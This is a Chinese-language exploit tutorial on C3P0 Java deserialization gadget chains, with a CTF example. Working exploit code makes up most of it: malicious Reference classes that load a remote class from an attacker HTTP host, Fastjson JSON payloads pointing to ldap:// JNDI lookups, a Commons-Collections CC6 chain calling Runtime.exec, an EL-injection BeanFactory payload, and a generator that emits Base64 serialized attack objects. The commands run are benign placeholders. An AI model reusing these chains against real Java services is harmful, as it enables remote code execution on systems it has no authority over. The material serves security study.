0x01 C3P0组件介绍
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java Database Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁的操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
简单来说,C3P0属于JDBC的一部分和Druid差不多
0x02 C3P0 反序列化漏洞
pom.xml
1
2
3
4
5
|
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
|
C3P0反序列化三条Gadgets
- URLClassLoader远程类加载
- JNDI注入
- 利用HEX序列化字节加载器进行反序列化攻击
C3P0之URLClassLoader的链子
流程分析
在ReferenceableUtils
,当中的referenceToObject()
方法调用了URLClassLoader
加载类的方法
最后还有类的加载instance()
,继续往上找,应该是去找谁调用了ReferenceableUtils.referenceToObject()
ReferenceIndirector
类的getObject()
方法调用了ReferenceUtils.referenceToObject()
,继续往上找
PoolBackedDataSourceBase#readObject()
调用了ReferenceSerialized#getObject()
,同时这也正好是一个入口类
在readObject()
方法中
反序列化的类必须是IndirectlySerialized
这个类或者其子类
那我们如何控制这个类是IndirectlySerialized
这个类或者其子类呢?
有readObject()
肯定有writeObject()
在writeObject
中会序列化connectionPoolDataSouce
类,但是由于该接口无法被序列化。
所以会进入到catch
语句中,对connectionPoolDataSouce
进行了一层indirectForm
包装
返回了一个ReferenceSerialized
类,正好继承了IndirectlySerialized
类,满足了readObject()
方法
而恰好也是需要调用到ReferenceSerialized
类中的getObject()
方法,所以直接调用自定义的writeObject()
方法
EXP编写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class c3p0 {
public static class evil implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8088");
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase pds = new PoolBackedDataSourceBase(false);
Class cl = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field connectionPoolDataSourceField = cl.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(pds, new evil());
//ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./src/main/resources/calc.obj"));
oos.writeObject(pds);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./src/main/resources/calc.obj"));
ois.readObject();
}
}
|
C3P0之JNDI注入
流程分析
基于FastJson的一条链子
全局搜索一下jndi
在dereference()
方法中存在ctx.lookup()
这里的lookup()
的变量是jndiName
,跟进去看一下jndiName
是什么
判断了一下jndiName
是什么Name
类型,如果是就返回,不是就返回String
类型
查找一下哪里用了dereference()
函数
在inner()
方法中利用了,继续查找
有很多getter/setter
方法利用了inner()
函数,恰好满足了fastjson
的利用要求
EXP编写
引入fastjson
,构造exp
1
2
3
4
5
|
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
]]</dependency>
|
1
2
3
4
5
6
7
8
9
10
|
import com.alibaba.fastjson.JSON;
// JndiRefForwardingDataSource 类的直接 EXP 调用
public class JndiFastjson {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1389/5fwc3t\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
|
C3P0之hexbase攻击利用
流程分析
这条链子能够成立的根本原因是,有一个WarpperConnectionPoolDataSouce
类,它能够反序列化一串十六进制字符串
链子首部是在WarpperConnectionPoolDataSouce
类的构造函数中,如图
在给userOverrides
赋值的时候,用的是C3P0ImplUtils.parseUserOverridesAsString()
方法,这个方法的作用就是反序列化userOverride
把它这个String类型的东西转换为对象
它这里把hex字符串读了进来,把转码后的结果保存到了serBytes
这个字节流的数组中,这个字节流是拿去进行SerializableUtils.formByteArray()
的操作,值得注意的是,在解析过程中调用了substring()
方法将字符串头部的HASH_HEADER
截去了,因此我们在构造时需要在十六进制字符串头部加上HASH_HEADER
,并且会截去字符串最后一位,所以需要在末尾加上一个;
SerializableUtils#fromByteArray()
调用了SerializableUtils#deserializeFromByteArray
,跟进,看到了反序列化的操作readObject()
EXP编写
在链子的第一步看到传入的是this.getUserOvveridesAsString()
,所以用FastJson去打
直接用之前的CC6链即可
引入commons-collections
1
2
3
4
5
|
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class HexBaseExp {
//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
return expMap;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);
//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}
|
这里利用FastJson构造了两次
在给UserOverridesAsString
赋值的时候做了一次判断
所以在第二次赋值的时候才能真正赋值上去。
C3P0链子的不出网利用
在JNDI高版本利用中,可以加载本地的Factory
类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()
方法。比如通过加载Tomcat8
中的org.apache.naming.factory.BeanFactory
进行EL表达式注入
导入依赖
1
2
3
4
5
6
7
8
9
10
|
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
|
C3P0链子的不出网利用分析与EXP
已经确定是想通过EL表达式注入的方式攻击了,我们需要先选择攻击的链子。
选择URLClassLoader的链子,把之前URLClassLoader的EXP进行一些修改即可
1
2
3
4
5
6
|
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"open -a Calculator\")"));
return resourceRef;
}
|
例题
存在反序列化漏洞,但是禁止使用ldap
看一下lib
存在C3P0直接打
构造exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class c3p0 {
public static class evil implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://10.216.7.79:8088/");
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase pds = new PoolBackedDataSourceBase(false);
Class cl = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field connectionPoolDataSourceField = cl.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(pds, new evil());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(pds);
Base64.Encoder encoder = Base64.getEncoder();
System.out.println(encoder.encodeToString(baos.toByteArray()));
}
}
|
Calc.java
1
2
3
4
5
|
public class Calc {
public Calc() throws Exception{
Runtime.getRuntime().exec("touch /tmp/success");
}
}
|